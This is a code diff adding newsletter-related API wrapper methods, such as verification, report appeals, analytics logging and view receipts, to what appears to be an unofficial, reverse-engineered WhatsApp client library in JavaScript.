652
+ * @param {string} jid - Newsletter JID
653
+ */
654
+ wamoAfsAgeCollection: async jid =>
655
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_AFS_AGE_COLLECTION, Types_1.XWAPaths.xwa2_wamo_afs_age_collection),
656
+ /**
657
+ * Fetch Wamo asset collection (images/assets for Wamo UI).
658
+ * @param {string} jid - Newsletter JID
659
+ */
660
+ wamoAssetCollection: async jid =>
661
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_ASSET_COLLECTION, Types_1.XWAPaths.xwa2_wamo_asset_collection),
662
+ /**
663
+ * Fetch a Wamo ad-hoc notice by ID.
664
+ * @param {string} noticeId - Notice ID to fetch
665
+ */
666
+ wamoFetchAdhocNotice: async noticeId =>
667
+ executeWMexQuery({ notice_id: noticeId }, Types_1.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types_1.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
668
+ /**
669
+ * Fetch the Wamo identity token for a newsletter.
670
+ * @param {string} jid - Newsletter JID
671
+ */
672
+ wamoFetchIdentityToken: async jid =>
673
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types_1.XWAPaths.xwa2_wamo_fetch_identity_token),
674
+ /**
675
+ * Get Wamo subscription compliance info.
676
+ * @param {string} jid - Newsletter JID
677
+ */
678
+ wamoSubComplianceInfo: async jid =>
679
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types_1.XWAPaths.xwa2_wamo_sub_get_compliance_info),
680
+ /**
681
+ * Get the Wamo user ID version for a newsletter.
682
+ * @param {string} jid - Newsletter JID
683
+ */
684
+ wamoUserIdVersion: async jid =>
685
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_USER_ID_VERSION, Types_1.XWAPaths.xwa2_wamo_user_id_version),
686
+ /**
687
+ * Set the Wamo user ID version for a newsletter.
688
+ * @param {string} jid - Newsletter JID
689
+ * @param {number} version - Version to set
690
+ */
691
+ wamoSetUserIdVersion: async (jid, version) =>
692
+ executeWMexQuery({ newsletter_id: jid, version }, Types_1.QueryIds.WAMO_SET_USER_ID_VERSION, Types_1.XWAPaths.xwa2_wamo_set_user_id_version),
693
+ /**
694
+ * Leave a newsletter (unsubscribe).
695
+ * @param {string} jid - Newsletter JID
696
+ */
697
+ newsletterLeave: async jid =>
698
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.LEAVE, Types_1.XWAPaths.xwa2_newsletter_leave_v2),
699
+ /**
700
+ * Create a verified newsletter.
701
+ * @param {string} name - Newsletter name
702
+ * @param {string} [description]
703
+ */
704
+ newsletterCreateVerified: async (name, description = null) =>
705
+ executeWMexQuery(
706
+ { input: { name, description } },
707
+ Types_1.QueryIds.CREATE_VERIFIED,
708
+ Types_1.XWAPaths.xwa2_newsletter_create_verified
709
+ ),
710
+ /**
711
+ * Fetch newsletter enforcements (ban/restriction info).
712
+ * @param {string} jid - Newsletter JID
713
+ */
714
+ newsletterEnforcements: async jid =>
715
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.ENFORCEMENTS, Types_1.XWAPaths.xwa2_newsletter_enforcements),
716
+ /**
717
+ * Fetch user reports for a newsletter (admin action).
718
+ * @param {string} jid - Newsletter JID
719
+ * @param {string} [cursor] - Pagination cursor
720
+ */
721
+ newsletterUserReports: async (jid, cursor = null) => {
722
+ const variables = { newsletter_id: jid }
723
+ if (cursor) variables.cursor = cursor
724
+ return executeWMexQuery(variables, Types_1.QueryIds.USER_REPORTS, Types_1.XWAPaths.xwa2_newsletter_user_reports)
725
+ },
726
+ /**
727
+ * Create a report appeal for a newsletter.
728
+ * @param {string} jid - Newsletter JID
729
+ * @param {string} reason - Appeal reason text
730
+ */
731
+ newsletterCreateReportAppeal: async (jid, reason) =>
732
+ executeWMexQuery(
733
+ { newsletter_id: jid, reason },
734
+ Types_1.QueryIds.CREATE_REPORT_APPEAL,
735
+ Types_1.XWAPaths.xwa2_newsletter_create_report_appeal
736
+ ),
737
+ /**
738
+ * Check a newsletter link preview.
739
+ * @param {string} url - URL to preview
740
+ */
741
+ newsletterLinkPreviewCheck: async url =>
742
+ executeWMexQuery({ url }, Types_1.QueryIds.LINK_PREVIEW_CHECK, Types_1.XWAPaths.xwa2_newsletter_link_preview_check),
743
+ /**
744
+ * Update newsletter verification status (admin/platform action).
745
+ * @param {string} jid - Newsletter JID
746
+ * @param {string} verification - Verification status
747
+ */
748
+ newsletterUpdateVerification: async (jid, verification) =>
749
+ executeWMexQuery(
750
+ { newsletter_id: jid, verification },
751
+ Types_1.QueryIds.UPDATE_VERIFICATION,
752
+ Types_1.XWAPaths.xwa2_newsletter_update_verification
753
+ ),
754
+ /**
755
+ * Label a newsletter post as paid partnership.
756
+ * @param {string} jid - Newsletter JID
757
+ * @param {string} serverId - Server message ID
758
+ * @param {boolean} isPaidPartnership
759
+ */
760
+ newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
761
+ executeWMexQuery(
762
+ { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
763
+ Types_1.QueryIds.LABEL_PAID_PARTNERSHIP,
764
+ Types_1.XWAPaths.xwa2_newsletter_label_paid_partnership
765
+ ),
766
+ /**
767
+ * Log newsletter exposure events (analytics).
768
+ * @param {{ newsletter_id: string, exposure_type: string }[]} events
769
+ */
770
+ newsletterLogExposures: async events =>
771
+ executeWMexQuery({ events }, Types_1.QueryIds.LOG_EXPOSURES, Types_1.XWAPaths.xwa2_newsletter_log_exposures),
772
+ /**
773
+ * Update user-specific newsletter setting (e.g. notification prefs).
774
+ * @param {string} jid - Newsletter JID
775
+ * @param {object} setting - Setting key/value
776
+ */
777
+ newsletterUpdateUserSetting: async (jid, setting) =>
778
+ executeWMexQuery(
779
+ { newsletter_id: jid, ...setting },
780
+ Types_1.QueryIds.UPDATE_USER_SETTING,
781
+ Types_1.XWAPaths.xwa2_newsletter_update_user_setting
782
+ ),
783
+ /**
784
+ * Fetch newsletter ranking features (ML signals).
785
+ * @param {string} jid - Newsletter JID
786
+ */
787
+ newsletterRankingFeatures: async jid =>
788
+ executeWMexQuery(
789
+ { newsletter_id: jid },
790
+ Types_1.QueryIds.RANKING_FEATURES,
791
+ Types_1.XWAPaths.xwa2_newsletter_ranking_features
792
+ ),
793
+ /**
794
+ * Send view receipts for newsletter messages (marks them as seen).
795
+ * serverMessageIds: array of numeric server-side message IDs.
796
+ * Mirrors SendViewReceiptJob in the APK — builds a receipt stanza
797
+ * with type="view" and a <list> of <item server_id="..."/> children.
798
+ */
799
+ newsletterSendViewReceipt: async (jid, serverMessageIds) => {
800
+ const ids = Array.isArray(serverMessageIds) ? serverMessageIds : [serverMessageIds]
801
+ const receiptId = generateMessageTag()
802
+ await query({
803
+ tag: 'receipt',
804
+ attrs: {
805
+ to: jid,
806
+ id: receiptId,
807
+ type: 'view'
808
+ },
809
+ content: [
810
+ {
811
+ tag: 'list',
812
+ attrs: {},
813
+ content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
814
+ }
815
+ ]
816
+ })
817
+ }
818
+ }
819
+ }
820
+ exports.makeNewsletterSocket = makeNewsletterSocket